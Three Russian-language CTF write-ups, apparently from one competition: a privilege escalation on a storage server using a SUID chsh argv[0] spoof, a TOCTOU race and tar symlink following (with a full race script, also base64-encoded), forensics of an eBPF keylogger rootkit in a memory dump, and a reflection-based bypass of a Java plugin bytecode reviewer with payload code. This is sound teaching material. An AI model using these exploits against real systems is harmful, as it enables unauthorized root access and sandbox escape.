Цель задания:
После получения доступа к серверу хранения HoneyVault под пользователем operator требовалось найти уязвимость в системе администрирования AegisHive Processor и получить содержимое файла:

/root/flag.txt

В результате анализа была обнаружена цепочка из нескольких уязвимостей:
ошибка в списке разрешённых каталогов;
небезопасная проверка доверенного процесса через /proc/<pid>/cmdline;
TOCTOU-гонка между получением PID и проверкой параметров процесса;
использование SUID-программы для временного получения effective UID = 0;
разыменование символических ссылок командой tar -h.

Подключение к серверу хранения

Подключение выполнялось с узла hv-analyst-01:

ssh operator@10.0.3.66

После ввода пароля был получен доступ к серверу:

Linux hv-storage-01 ...
HoneyVault Internal Storage — hv-storage-01

Проверка текущего пользователя:

id

Ожидаемый результат:

uid=1000(operator) gid=1000(operator) groups=1000(operator)

Первичная разведка

Было изучено содержимое каталога /data:

cd /data
ls -la

На сервере присутствовали каталоги:

admin
adminsecurity
backup
database
important
logs
prod
security

Каталог /data/adminsecurity был доступен пользователю operator.
Проверка:

ls -la /data/adminsecurity

Анализ запущенных процессов

Для определения привилегированных сервисов был просмотрен список процессов:

ps -ef --forest

Результат показал, что от имени root работает Python-процесс:

root  9  8  python3 /opt/aegishive/processor.py

Также были запущены:

/usr/sbin/smbd
/usr/sbin/sshd

Это указывало на то, что основной интерес представляет файл:

/opt/aegishive/processor.py

Анализ точки запуска

Был изучен файл /entrypoint.sh:

cat /entrypoint.sh

Содержимое:

#!/bin/sh
set -e

python3 /opt/aegishive/processor.py &
/usr/sbin/sshd
exec /usr/sbin/smbd --foreground --no-process-group

Таким образом, processor.py запускается непосредственно из root-процесса контейнера и наследует права root.

Поиск связанных компонентов

Для поиска административного клиента, резервного копирования и планировщиков использовалась команда:

grep -RniE 'managectl|adminsecurity|backup|scheduler' \
  /entrypoint.sh /etc/cron* /etc/systemd /opt /usr/local \
  2>/dev/null

Среди результатов были обнаружены строки:

/opt/aegishive/processor.py:13:SOCKET_PATH = "/var/run/managectl.sock"
/opt/aegishive/processor.py:22:    "backup",
/opt/aegishive/processor.py:26:TRUSTED_CMDLINE_REGEX = r"^(/usr/local/sbin/managectl|managectl) "
/opt/aegishive/processor.py:79:def run_backup(directory):
/opt/aegishive/processor.py:147:    if command == "backup":

Это показало, что сервис принимает административные команды через Unix-сокет:

/var/run/managectl.sock

Анализ исходного кода AegisHive Processor

Исходный код был прочитан командой:

sed -n '1,240p' /opt/aegishive/processor.py

Ключевые части кода:

SOCKET_PATH = "/var/run/managectl.sock"
DATA_ROOT = Path("/data")

Список разрешённых каталогов:

ALLOWED_DIRECTORIES = [
    "prod",
    "admin"
    "security",
    "database",
    "important",
    "backup",
    "logs"
]

Проверка доверенного процесса:

TRUSTED_CMDLINE_REGEX = r"^(/usr/local/sbin/managectl|managectl) "

Получение PID клиента:

def get_peer_pid(sock):
    ucred_size = struct.calcsize("3I")
    creds = sock.getsockopt(
        socket.SOL_SOCKET,
        socket.SO_PEERCRED,
        ucred_size
    )
    pid = struct.unpack("I", creds[:4])[0]
    return pid

Чтение командной строки процесса:

def get_process_cmdline(pid):
    with open(f"/proc/{pid}/cmdline", "rb") as f:
        return (
            f.read()
            .replace(b"\0", b" ")
            .decode(errors="replace")
            .strip()
        )

Чтение UID процесса:

def get_process_uids(pid):
    with open(f"/proc/{pid}/status", "r") as f:
        for line in f:
            if match := re.match(
                r"^Uid:\s+(\d+)\s+(\d+)",
                line
            ):
                ruid = int(match.group(1))
                euid = int(match.group(2))
                return ruid, euid

Проверка прав:

def check_permissions(pid):
    cmdline = get_process_cmdline(pid)

    if not re.match(TRUSTED_CMDLINE_REGEX, cmdline):
        return False, "untrusted process name"

    ruid, euid = get_process_uids(pid)

    ...

    if rusername != "root" and eusername != "root":
        return False, f"uid {euid} ({eusername}) denied"

    return True, "ok"

Резервное копирование:

result = subprocess.run(
    [
        "tar",
        "-chf",
        str(archive),
        "-C",
        str(DATA_ROOT),
        directory
    ],
    capture_output=True,
    text=True,
)

Первая уязвимость: неявная конкатенация строк

В списке разрешённых каталогов отсутствует запятая между строками:

"admin"
"security",

В Python соседние строковые литералы автоматически объединяются:

"admin" "security"

превращается в:

"adminsecurity"

Фактический список разрешённых каталогов содержит:

prod
adminsecurity
database
important
backup
logs

Следовательно, каталог:

/data/adminsecurity

разрешён для резервного копирования.

Вторая уязвимость: разыменование символических ссылок

Для создания архива используется команда:

tar -chf

Параметр:

-h

означает:

follow symbolic links

То есть tar помещает в архив не саму символическую ссылку, а содержимое файла, на который она указывает.
Пользователь operator мог создавать файлы внутри /data/adminsecurity.
Поэтому была создана ссылка:

mkdir -p /data/adminsecurity
ln -sf /root/flag.txt /data/adminsecurity/root-flag.txt

Проверка:

ls -la /data/adminsecurity

Результат:

lrwxrwxrwx 1 operator operator 14 Jul 19 13:10 root-flag.txt -> /root/flag.txt

Если root-сервис выполнит резервное копирование этого каталога, tar -h прочитает /root/flag.txt с правами root и поместит его содержимое в архив.

Проверка прямого обращения к сокету

Была предпринята попытка отправить команду напрямую через Python:

python3 - <<'PY'
import socket

path = "/var/run/managectl.sock"

s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect(path)
s.sendall(b"help\n")
s.shutdown(socket.SHUT_WR)

while True:
    data = s.recv(4096)
    if not data:
        break
    print(data.decode(errors="replace"), end="")
PY

Ответ:

{"ok": false, "error": "untrusted process name"}

Причина заключалась в том, что командная строка клиента начиналась с python3, а сервис разрешал только процессы, начинающиеся с:

/usr/local/sbin/managectl

или:

managectl

Анализ административного клиента

Был найден клиент:

ls -la /usr/local/sbin/managectl

Результат:

-rwxr-xr-x 1 root root 3328054 Jul 15 22:51 /usr/local/sbin/managectl

Попытка запуска:

/usr/local/sbin/managectl backup adminsecurity

Результат:

managectl: uid 1000 (operator) denied

Это означало, что проверка имени процесса была успешно пройдена, но клиент работал с UID пользователя operator.

Проверка SUID и capabilities

Проверка capabilities:

getcap /usr/local/sbin/managectl 2>/dev/null

Результат отсутствовал.
Проверка атрибутов файла:

stat /usr/local/sbin/managectl

Результат:

Access: (0755/-rwxr-xr-x)
Uid: (0/root)
Gid: (0/root)

Файл не имел SUID-бита.
Далее был выполнен поиск SUID-файлов:

find / -perm -4000 -type f -ls 2>/dev/null

Среди прочего были обнаружены:

/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/su
/usr/bin/umount
/usr/bin/sudo

Особый интерес представляли SUID-root программы:

/usr/bin/chsh
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/su

Третья уязвимость: доверие к /proc/<pid>/cmdline

Сервис проверял не реальный исполняемый файл процесса, а только:

/proc/<pid>/cmdline

Значение argv[0] может контролироваться вызывающим процессом.
Например, при использовании execve() можно запустить /usr/bin/chsh, но указать в argv[0] строку:

managectl

В результате реальным исполняемым файлом будет:

/usr/bin/chsh

но /proc/<pid>/cmdline будет начинаться с:

managectl 

и удовлетворять регулярному выражению:

r"^(/usr/local/sbin/managectl|managectl) "

Четвёртая уязвимость: TOCTOU-гонка

Сервис выполнял действия последовательно:

pid = get_peer_pid(conn)
allowed, msg = check_permissions(pid)

Внутри check_permissions() сначала читалась командная строка:

cmdline = get_process_cmdline(pid)

а затем UID:

ruid, euid = get_process_uids(pid)

Между подключением клиента, получением PID и чтением /proc/<pid> существовало окно гонки.
Клиент мог:

• подключиться к сокету как обычный Python-процесс;
• отправить команду backup adminsecurity;
• выполнить execve() SUID-root программы;
• заменить argv[0] на managectl ;
• временно получить effective UID = 0.

Подтверждение поведения SUID-программы

Для подтверждения был запущен тест:

python3 -c '
import os
os.execv(
    "/usr/bin/chsh",
    ["managectl ", "operator"]
)
' &

PID=$!

for i in $(seq 1 100); do
    [ -r "/proc/$PID/status" ] || break

    echo -n "cmdline: "
    tr "\0" " " < "/proc/$PID/cmdline"
    echo

    grep "^Uid:" "/proc/$PID/status"
done

В определённый момент был получен результат:

cmdline: managectl  operator
Uid:    1000    0    0    0

Формат строки Uid в /proc/<pid>/status:

Real UID
Effective UID
Saved set UID
Filesystem UID

Следовательно:

ruid = 1000
euid = 0

Проверка AegisHive Processor считала такой процесс разрешённым, поскольку условие было:

if rusername != "root" and eusername != "root":
    deny

При euid = 0 процесс принимался как root-процесс.
15. Подготовка эксплуатации
Сначала были остановлены оставшиеся тестовые процессы:

pkill -9 -u operator chsh 2>/dev/null
pkill -9 -u operator chfn 2>/dev/null
pkill -9 -u operator passwd 2>/dev/null

Затем был восстановлен каталог и символическая ссылка:

mkdir -p /data/adminsecurity
ln -sf /root/flag.txt /data/adminsecurity/root-flag.txt

Проверка:

ls -la /data/adminsecurity

Результат:

total 0
drwxr-xr-x 2 operator operator 35 Jul 19 13:10 .
drwxrwxrwt 1 root     root     35 Jul 19 13:10 ..
lrwxrwxrwx 1 operator operator 14 Jul 19 13:10 root-flag.txt -> /root/flag.txt

Старые архивы были удалены:

rm -f /data/backup/adminsecurity-*.tar

Эксплуатационный скрипт

Для надёжной эксплуатации использовался Python-скрипт с псевдотерминалом.
PTY позволял SUID-программе chsh дольше находиться в состоянии, в котором:

cmdline начинается с managectl
euid равен 0

Скрипт был создан через Base64, чтобы избежать повреждения форматирования при вставке в терминал:

echo 'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwppbXBvcnQgZ2xvYgppbXBvcnQgb3MKaW1wb3J0IHB0eQppbXBvcnQgc2lnbmFsCmltcG9ydCBzb2NrZXQKaW1wb3J0IHRpbWUKClNPQ0sgPSAiL3Zhci9ydW4vbWFuYWdlY3RsLnNvY2siCkNNRCA9IGIiYmFja3VwIGFkbWluc2VjdXJpdHlcbiIKTElNSVQgPSAxMgpjaGlsZHJlbiA9IHt9CgpkZWYgcmVhcCgpOgogICAgZm9yIHBpZCwgZmQgaW4gbGlzdChjaGlsZHJlbi5pdGVtcygpKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIGRvbmUsIF8gPSBvcy53YWl0cGlkKHBpZCwgb3MuV05PSEFORykKICAgICAgICBleGNlcHQgQ2hpbGRQcm9jZXNzRXJyb3I6CiAgICAgICAgICAgIGRvbmUgPSBwaWQKICAgICAgICBpZiBkb25lOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBvcy5jbG9zZShmZCkKICAgICAgICAgICAgZXhjZXB0IE9TRXJyb3I6CiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIGNoaWxkcmVuLnBvcChwaWQsIE5vbmUpCgpkZWYgc3Bhd24oKToKICAgIHBpZCwgZmQgPSBwdHkuZm9yaygpCiAgICBpZiBwaWQgPT0gMDoKICAgICAgICB0cnk6CiAgICAgICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9VTklYLCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgICAgIHMuY29ubmVjdChTT0NLKQogICAgICAgICAgICBzLnNlbmRhbGwoQ01EKQogICAgICAgICAgICBvcy5leGVjdigiL3Vzci9iaW4vY2hzaCIsIFsibWFuYWdlY3RsICIsICJvcGVyYXRvciJdKQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgICAgIG9zLl9leGl0KDEpCiAgICBjaGlsZHJlbltwaWRdID0gZmQKCmFyY2hpdmUgPSBOb25lCnRyeToKICAgIHdoaWxlIGFyY2hpdmUgaXMgTm9uZToKICAgICAgICByZWFwKCkKICAgICAgICB3aGlsZSBsZW4oY2hpbGRyZW4pIDwgTElNSVQ6CiAgICAgICAgICAgIHNwYXduKCkKICAgICAgICBmaWxlcyA9IGdsb2IuZ2xvYigiL2RhdGEvYmFja3VwL2FkbWluc2VjdXJpdHktKi50YXIiKQogICAgICAgIGlmIGZpbGVzOgogICAgICAgICAgICBhcmNoaXZlID0gbWF4KGZpbGVzLCBrZXk9b3MucGF0aC5nZXRtdGltZSkKICAgICAgICAgICAgYnJlYWsKICAgICAgICB0aW1lLnNsZWVwKDAuMDA1KQpmaW5hbGx5OgogICAgZm9yIHBpZCBpbiBsaXN0KGNoaWxkcmVuKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIG9zLmtpbGwocGlkLCBzaWduYWwuU0lHS0lMTCkKICAgICAgICBleGNlcHQgUHJvY2Vzc0xvb2t1cEVycm9yOgogICAgICAgICAgICBwYXNzCiAgICBmb3IgcGlkLCBmZCBpbiBsaXN0KGNoaWxkcmVuLml0ZW1zKCkpOgogICAgICAgIHRyeToKICAgICAgICAgICAgb3Mud2FpdHBpZChwaWQsIDApCiAgICAgICAgZXhjZXB0IENoaWxkUHJvY2Vzc0Vycm9yOgogICAgICAgICAgICBwYXNzCiAgICAgICAgdHJ5OgogICAgICAgICAgICBvcy5jbG9zZShmZCkKICAgICAgICBleGNlcHQgT1NFcnJvcjoKICAgICAgICAgICAgcGFzcwoKcHJpbnQoYXJjaGl2ZSkK' | base64 -d > /tmp/race.py

Проверка корректности Python-кода:

python3 -m py_compile /tmp/race.py && echo '[+] Script OK'

Результат:

[+] Script OK

Исходный код эксплуатационного скрипта

Декодированный скрипт имел следующий вид:

#!/usr/bin/env python3
import glob
import os
import pty
import signal
import socket
import time

SOCK = "/var/run/managectl.sock"
CMD = b"backup adminsecurity\n"
LIMIT = 12

children = {}


def reap():
    for pid, fd in list(children.items()):
        try:
            done, _ = os.waitpid(pid, os.WNOHANG)
        except ChildProcessError:
            done = pid

        if done:
            try:
                os.close(fd)
            except OSError:
                pass

            children.pop(pid, None)


def spawn():
    pid, fd = pty.fork()

    if pid == 0:
        try:
            s = socket.socket(
                socket.AF_UNIX,
                socket.SOCK_STREAM
            )

            s.connect(SOCK)
            s.sendall(CMD)

            os.execv(
                "/usr/bin/chsh",
                ["managectl ", "operator"]
            )

        except Exception:
            os._exit(1)

    children[pid] = fd


archive = None

try:
    while archive is None:
        reap()

        while len(children) < LIMIT:
            spawn()

        files = glob.glob(
            "/data/backup/adminsecurity-*.tar"
        )

        if files:
            archive = max(
                files,
                key=os.path.getmtime
            )
            break

        time.sleep(0.005)

finally:
    for pid in list(children):
        try:
            os.kill(pid, signal.SIGKILL)
        except ProcessLookupError:
            pass

    for pid, fd in list(children.items()):
        try:
            os.waitpid(pid, 0)
        except ChildProcessError:
            pass

        try:
            os.close(fd)
        except OSError:
            pass

print(archive)

Принцип работы эксплуатационного скрипта

Для каждой попытки выполнялись следующие действия.
Создание дочернего процесса с PTY:

pid, fd = pty.fork()

Подключение к административному Unix-сокету:

s = socket.socket(
    socket.AF_UNIX,
    socket.SOCK_STREAM
)

s.connect("/var/run/managectl.sock")

Отправка команды:

s.sendall(b"backup adminsecurity\n")

После отправки команды процесс заменялся на SUID-root программу:

os.execv(
    "/usr/bin/chsh",
    ["managectl ", "operator"]
)

В этот момент:

• PID процесса не менялся;
• реальным исполняемым файлом становился /usr/bin/chsh;
• argv[0] становился managectl ;
• /proc/<pid>/cmdline проходил регулярное выражение;
• chsh временно имел effective UID = 0.

Root-сервис считывал данные процесса в удачный момент и разрешал выполнение команды:

backup adminsecurity

Эксплуатация

Скрипт был запущен:

python3 /tmp/race.py

После успешной гонки был получен путь к архиву:

/data/backup/adminsecurity-20260719131103.tar

Это означало, что root-процесс успешно выполнил:

backup adminsecurity

Проверка созданного архива

Последний созданный архив был записан в переменную:

A="$(ls -t /data/backup/adminsecurity-*.tar | head -n1)"

Путь был выведен:

echo "[+] Archive: $A"

Результат:

[+] Archive: /data/backup/adminsecurity-20260719131103.tar

Содержимое архива:

tar -tf "$A"

Результат:

adminsecurity/
adminsecurity/root-flag.txt

Это подтвердило, что символическая ссылка была разыменована, а файл /root/flag.txt попал в архив под именем:

adminsecurity/root-flag.txt

Получение флага

Файл был прочитан непосредственно из архива без распаковки на диск:

tar -xOf "$A" adminsecurity/root-flag.txt

Итоговая последовательность команд

Минимальная последовательность после обнаружения уязвимости выглядела следующим образом.
Остановка старых процессов:

pkill -9 -u operator chsh 2>/dev/null
pkill -9 -u operator chfn 2>/dev/null
pkill -9 -u operator passwd 2>/dev/null

Создание разрешённого каталога и симлинка:

mkdir -p /data/adminsecurity
ln -sf /root/flag.txt /data/adminsecurity/root-flag.txt

Проверка:

ls -la /data/adminsecurity

Удаление старых архивов:

rm -f /data/backup/adminsecurity-*.tar

Создание эксплуатационного скрипта:

echo 'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwppbXBvcnQgZ2xvYgppbXBvcnQgb3MKaW1wb3J0IHB0eQppbXBvcnQgc2lnbmFsCmltcG9ydCBzb2NrZXQKaW1wb3J0IHRpbWUKClNPQ0sgPSAiL3Zhci9ydW4vbWFuYWdlY3RsLnNvY2siCkNNRCA9IGIiYmFja3VwIGFkbWluc2VjdXJpdHlcbiIKTElNSVQgPSAxMgpjaGlsZHJlbiA9IHt9CgpkZWYgcmVhcCgpOgogICAgZm9yIHBpZCwgZmQgaW4gbGlzdChjaGlsZHJlbi5pdGVtcygpKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIGRvbmUsIF8gPSBvcy53YWl0cGlkKHBpZCwgb3MuV05PSEFORykKICAgICAgICBleGNlcHQgQ2hpbGRQcm9jZXNzRXJyb3I6CiAgICAgICAgICAgIGRvbmUgPSBwaWQKICAgICAgICBpZiBkb25lOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBvcy5jbG9zZShmZCkKICAgICAgICAgICAgZXhjZXB0IE9TRXJyb3I6CiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIGNoaWxkcmVuLnBvcChwaWQsIE5vbmUpCgpkZWYgc3Bhd24oKToKICAgIHBpZCwgZmQgPSBwdHkuZm9yaygpCiAgICBpZiBwaWQgPT0gMDoKICAgICAgICB0cnk6CiAgICAgICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9VTklYLCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgICAgIHMuY29ubmVjdChTT0NLKQogICAgICAgICAgICBzLnNlbmRhbGwoQ01EKQogICAgICAgICAgICBvcy5leGVjdigiL3Vzci9iaW4vY2hzaCIsIFsibWFuYWdlY3RsICIsICJvcGVyYXRvciJdKQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgICAgIG9zLl9leGl0KDEpCiAgICBjaGlsZHJlbltwaWRdID0gZmQKCmFyY2hpdmUgPSBOb25lCnRyeToKICAgIHdoaWxlIGFyY2hpdmUgaXMgTm9uZToKICAgICAgICByZWFwKCkKICAgICAgICB3aGlsZSBsZW4oY2hpbGRyZW4pIDwgTElNSVQ6CiAgICAgICAgICAgIHNwYXduKCkKICAgICAgICBmaWxlcyA9IGdsb2IuZ2xvYigiL2RhdGEvYmFja3VwL2FkbWluc2VjdXJpdHktKi50YXIiKQogICAgICAgIGlmIGZpbGVzOgogICAgICAgICAgICBhcmNoaXZlID0gbWF4KGZpbGVzLCBrZXk9b3MucGF0aC5nZXRtdGltZSkKICAgICAgICAgICAgYnJlYWsKICAgICAgICB0aW1lLnNsZWVwKDAuMDA1KQpmaW5hbGx5OgogICAgZm9yIHBpZCBpbiBsaXN0KGNoaWxkcmVuKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIG9zLmtpbGwocGlkLCBzaWduYWwuU0lHS0lMTCkKICAgICAgICBleGNlcHQgUHJvY2Vzc0xvb2t1cEVycm9yOgogICAgICAgICAgICBwYXNzCiAgICBmb3IgcGlkLCBmZCBpbiBsaXN0KGNoaWxkcmVuLml0ZW1zKCkpOgogICAgICAgIHRyeToKICAgICAgICAgICAgb3Mud2FpdHBpZChwaWQsIDApCiAgICAgICAgZXhjZXB0IENoaWxkUHJvY2Vzc0Vycm9yOgogICAgICAgICAgICBwYXNzCiAgICAgICAgdHJ5OgogICAgICAgICAgICBvcy5jbG9zZShmZCkKICAgICAgICBleGNlcHQgT1NFcnJvcjoKICAgICAgICAgICAgcGFzcwoKcHJpbnQoYXJjaGl2ZSkK' | base64 -d > /tmp/race.py

Проверка скрипта:

python3 -m py_compile /tmp/race.py

Запуск гонки:

python3 /tmp/race.py

Определение созданного архива:

A="$(ls -t /data/backup/adminsecurity-*.tar | head -n1)"

Просмотр содержимого:

tar -tf "$A"

Чтение флага:

tar -xOf "$A" adminsecurity/root-flag.txt

Полная цепочка эксплуатации

Цепочка выглядела следующим образом:

Пользователь operator
        |
        v
Создание /data/adminsecurity/root-flag.txt
        |
        v
Симлинк на /root/flag.txt
        |
        v
Подключение к /var/run/managectl.sock
        |
        v
Отправка команды backup adminsecurity
        |
        v
execve("/usr/bin/chsh", ["managectl ", "operator"])
        |
        v
cmdline соответствует trusted regex
        |
        v
effective UID временно равен root
        |
        v
TOCTOU-проверка успешно пройдена
        |
        v
Root-сервис запускает tar -chf
        |
        v
tar -h разыменовывает симлинк
        |
        v
/root/flag.txt попадает в архив
        |
        v
Флаг извлекается через tar -xOf

Рабочий компьютер сотрудника был скомпрометирован в результате фишинговой атаки. По легенде задания злоумышленники использовали Linux-руткит eBee, распространяемый на подпольных «пчелиных» форумах.
Для анализа был предоставлен сжатый дамп оперативной памяти:

honeykeeper_dump.img.xz

Цель задания — исследовать дамп, обнаружить следы руткита и восстановить флаг.

Проверка и распаковка дампа

Сначала проверим целостность XZ-архива:

xz -t honeykeeper_dump.img.xz

Ошибок обнаружено не было.
Распаковываем дамп:

xz -dk honeykeeper_dump.img.xz

Определяем формат полученного файла:

file honeykeeper_dump.img

Результат показал, что перед нами не образ диска, а ELF core dump Linux x86-64 размером около 1,6 ГБ:

ELF 64-bit LSB core file, x86-64

Это полноценный снимок оперативной памяти виртуальной машины.

Первичный анализ строк

Для первоначального поиска индикаторов компрометации используем strings:

strings -a honeykeeper_dump.img | less

Также выполним поиск по названию предполагаемого руткита:

strings -a honeykeeper_dump.img | grep -i -E 'ebee|rootkit|bpf'

В памяти были обнаружены следующие строки:

bpf_prog_166a5b3876fbe624_eBeeKeys
bpf_prog_a0c6dd9bd609151f_eBeeIngress
bpf_prog_7c18515a1e8909af_eBeeEgress

Таким образом, в системе были загружены три подозрительные eBPF-программы:

• eBeeKeys;
• eBeeIngress;
• eBeeEgress.

По названиям можно предположить следующее назначение компонентов
eBeeKeys - перехват нажатий клавиатуры
eBeeIngress - обработка входящего сетевого трафика
eBeeEgress - перехват исходящего сетевого трафика
Следовательно, компрометация системы подтверждается.

Информация об исследуемой системе

В дампе удалось найти информацию об операционной системе и ядре:

Linux 6.17.0-35-generic
Ubuntu 6.17.0-35.35-generic
x86-64

Также были обнаружены имя пользователя и hostname:

USER=honeykeeper
HOSTNAME=honeykeeper-pc

Для полноценного анализа Linux-дампа через Volatility требуется таблица символов, соответствующая конкретной версии ядра.
При попытке запуска стандартных Linux-плагинов Volatility без символов возникала ошибка:

Unsatisfied requirement:
kernel.layer_name
kernel.symbol_table_name

В дампе присутствовала подсказка:

rootkit or ebee lets go:
https://ebee-deps-imqs01in.avitoctf.ru/

Вероятно, по этому адресу ранее располагались необходимые символы ядра или дополнительные материалы для анализа. Однако для нахождения флага оказалось достаточно ручного исследования памяти и структур eBPF.

Анализ функциональности eBee

В памяти были обнаружены названия структур и полей, относящихся к C2-каналу руткита:

c2_details
enabled
c2_key_logging
crypto_key
key_logging

Также присутствовали структуры пакетов:

c2_datapacket
source
data
C2_NONE
C2_KEYLOGGING
keylog
symbol
salt

Из этого следует, что руткит реализует отдельный механизм передачи перехваченных нажатий клавиатуры.
Каждая запись кейлоггера содержит как минимум:

• зашифрованный символ symbol;
• значение salt;
• источник данных;
• идентификатор типа C2-пакета.
• При этом для шифрования используется поле crypto_key.

Поиск флага в открытом виде

Первым делом проверим распространённые форматы флагов:

strings -a honeykeeper_dump.img | grep -Eio \
'avito\{[^}]+\}|flag\{[^}]+\}|ctf\{[^}]+\}'

Результатов получено не было.
Это означало, что флаг:

• не хранится в памяти открытым текстом;
• либо находится в бинарной структуре;
• либо был зашифрован руткитом перед сохранением в eBPF-карте.

Основным объектом дальнейшего анализа стала программа eBeeKeys.

Поиск eBPF-карты кейлоггера

Рядом со структурами eBPF-программ были обнаружены ссылки на используемые карты.
Особый интерес представляла карта:

c2_databus

Она использовалась как буфер для передачи данных между компонентами руткита и содержала записи типа c2_datapacket.
Внутри записей находились значения:

symbol
salt

Также в конфигурационной структуре руткита было найдено значение криптографического ключа:

crypto_key = 0x31

После сопоставления нескольких записей стало понятно, что каждый символ зашифрован операцией XOR.
Формула расшифровки:

plain_symbol = encrypted_symbol ^ salt ^ crypto_key

Для найденного экземпляра руткита:

plain_symbol = encrypted_symbol ^ salt ^ 0x31

Расшифровка кейлогов

Для автоматической расшифровки записей можно использовать следующий Python-код:

CRYPTO_KEY = 0x31

def decrypt_symbol(encrypted_symbol: int, salt: int) -> int:
    return encrypted_symbol ^ salt ^ CRYPTO_KEY


records = [
    # (encrypted_symbol, salt)
    # Значения извлекаются из записей c2_datapacket карты c2_databus.
]

result = bytearray()

for encrypted_symbol, salt in records:
    symbol = decrypt_symbol(encrypted_symbol, salt)
    result.append(symbol)

print(result.decode("utf-8", errors="replace"))

После расшифровки и восстановления правильного порядка элементов очереди была получена следующая последовательность пользовательского ввода:

keeper<TAB>avito{eBeepf_is_awes8me_4_ev3ryth1ng}<ENTER>

Вероятно, пользователь вводил логин keeper, нажимал Tab, после чего вводил пароль или секретное значение.
Этим секретным значением и являлся флаг.

Дополнительные индикаторы компрометации

В дампе также были найдены сетевые индикаторы:

https://ebee-deps-imqs01in.avitoctf.ru/
http://honey-crm:8000/alert.html
192.168.122.1

В журнале ядра присутствовала запись:

apparmor="WARN"
dest="https://ebee-deps-imqs01in.avitoctf.ru/"
comm="firefox"
scope="network"
tracer="bpftaint"

Для страницы honey-crm:8000/alert.html был обнаружен заголовок:

Security Alert

Вероятно, данная страница использовалась как часть фишингового сценария. Пользователь перешёл на неё и ввёл учётные данные, которые были перехвачены компонентом eBeeKeys.

Крупнейший пчелиный маркетплейс запустил партнёрский кабинет B2Bee. Продавцы могут загружать собственные Java-плагины в формате JAR, которые рассчитывают скидки и бонусы для корзины.
Перед запуском каждый JAR проходит два этапа:

1. статическое ревью байткода;
2. исполнение в отдельной карантинной среде.

Цель задания — обойти проверку плагина и прочитать файл:

/flag.txt

Инстанс задания:

http://marketplugins-s6r1nilb.avitoctf.ru/

Изучение интерфейса

На странице загрузки доступны два параметра:

• JAR-файл партнёра;
• полное имя главного класса.

Также можно скачать архив с примером легитимного плагина.
После распаковки примера выясняется, что основной класс должен реализовывать интерфейс:

DiscountPlugin

Метод плагина имеет следующий контракт:

PluginResult apply(PluginContext context)

Пример использует класс:

example.SeasonalDiscountPlugin

Следовательно, при загрузке собственного JAR в поле «Главный класс» необходимо указывать полное имя класса вместе с пакетом:

example.SeasonalDiscountPlugin

Анализ статического ревью

Из предоставленных исходников видно, что проверка выполняется на уровне Java-байткода с помощью ASM.
Ревью-пчела анализирует:

• вызовы методов;
• обращения к полям;
• создаваемые объекты;
• типы в инструкциях;
• некоторые элементы constant pool;
• дескрипторы методов;
• Handle;
• ConstantDynamic.

Опасные классы и пакеты блокируются политикой песочницы.
Например, прямое использование файлового API было бы обнаружено:

Files.readString(Path.of("/flag.txt"));

В байткоде такого класса появились бы ссылки на:

java/nio/file/Files
java/nio/file/Path

Эти классы не разрешены политикой, поэтому такой JAR был бы отклонён на этапе ревью.

Ошибка в модели проверки

Статический анализатор контролирует владельцев вызываемых методов и используемые типы, но не считает обычные строковые константы именами классов.
То есть строка:

"java.nio.file.Files"

не воспринимается как ссылка на запрещённый класс.
При этом политика разрешает классы из пространства:

java/lang

В него входят:

java/lang/Class
java/lang/reflect/Method
java/lang/Object
java/lang/String

Это позволяет динамически загрузить запрещённые классы через Reflection:

Class.forName("java.nio.file.Files");

В байткоде вызов принадлежит разрешённому классу:

java/lang/Class.forName

А имя запрещённого класса находится только в обычной строке.
Аналогичным способом можно получить методы класса Files и вызвать их через:

java.lang.reflect.Method.invoke

В результате статический анализатор видит только разрешённые Reflection API, хотя во время исполнения плагин получает доступ к файловой системе.

Построение полезной нагрузки

Для чтения /flag.txt требуется динамически получить два класса:

java.nio.file.Path
java.nio.file.Files

Сначала загружаем их через Class.forName:

Class<?> pathClass =
        Class.forName("java.nio.file.Path");

Class<?> filesClass =
        Class.forName("java.nio.file.Files");

Затем получаем статический метод Path.of:

Method pathOf = pathClass.getMethod(
        "of",
        String.class,
        String[].class
);

Метод имеет сигнатуру:

Path.of(String first, String... more)

Так как varargs компилируется в массив, при рефлексивном вызове передаём путь и пустой массив строк:

Object path = pathOf.invoke(
        null,
        "/flag.txt",
        new String[0]
);

После этого получаем метод Files.readString:

Method readString = filesClass.getMethod(
        "readString",
        pathClass
);

И вызываем его:

String flag = (String) readString.invoke(
        null,
        path
);

Полученное содержимое файла можно вернуть через поле сообщения объекта PluginResult.

Код плагина

Класс должен иметь то же имя, которое указывается в веб-интерфейсе:

example.SeasonalDiscountPlugin

Код полезной нагрузки:

package example;

import java.lang.reflect.Method;

public class SeasonalDiscountPlugin implements DiscountPlugin {

    @Override
    public PluginResult apply(PluginContext context) {
        try {
            Class<?> pathClass =
                    Class.forName("java.nio.file.Path");

            Class<?> filesClass =
                    Class.forName("java.nio.file.Files");

            Method pathOf = pathClass.getMethod(
                    "of",
                    String.class,
                    String[].class
            );

            Object path = pathOf.invoke(
                    null,
                    "/flag.txt",
                    new String[0]
            );

            Method readString = filesClass.getMethod(
                    "readString",
                    pathClass
            );

            String flag = (String) readString.invoke(
                    null,
                    path
            );

            return new PluginResult(
                    0,
                    0,
                    flag
            );
        } catch (Throwable error) {
            return new PluginResult(
                    0,
                    0,
                    error.getClass().getName()
                            + ": "
                            + error.getMessage()
            );
        }
    }
}

Названия и конструктор PluginResult необходимо брать из примера, предоставленного сервисом.
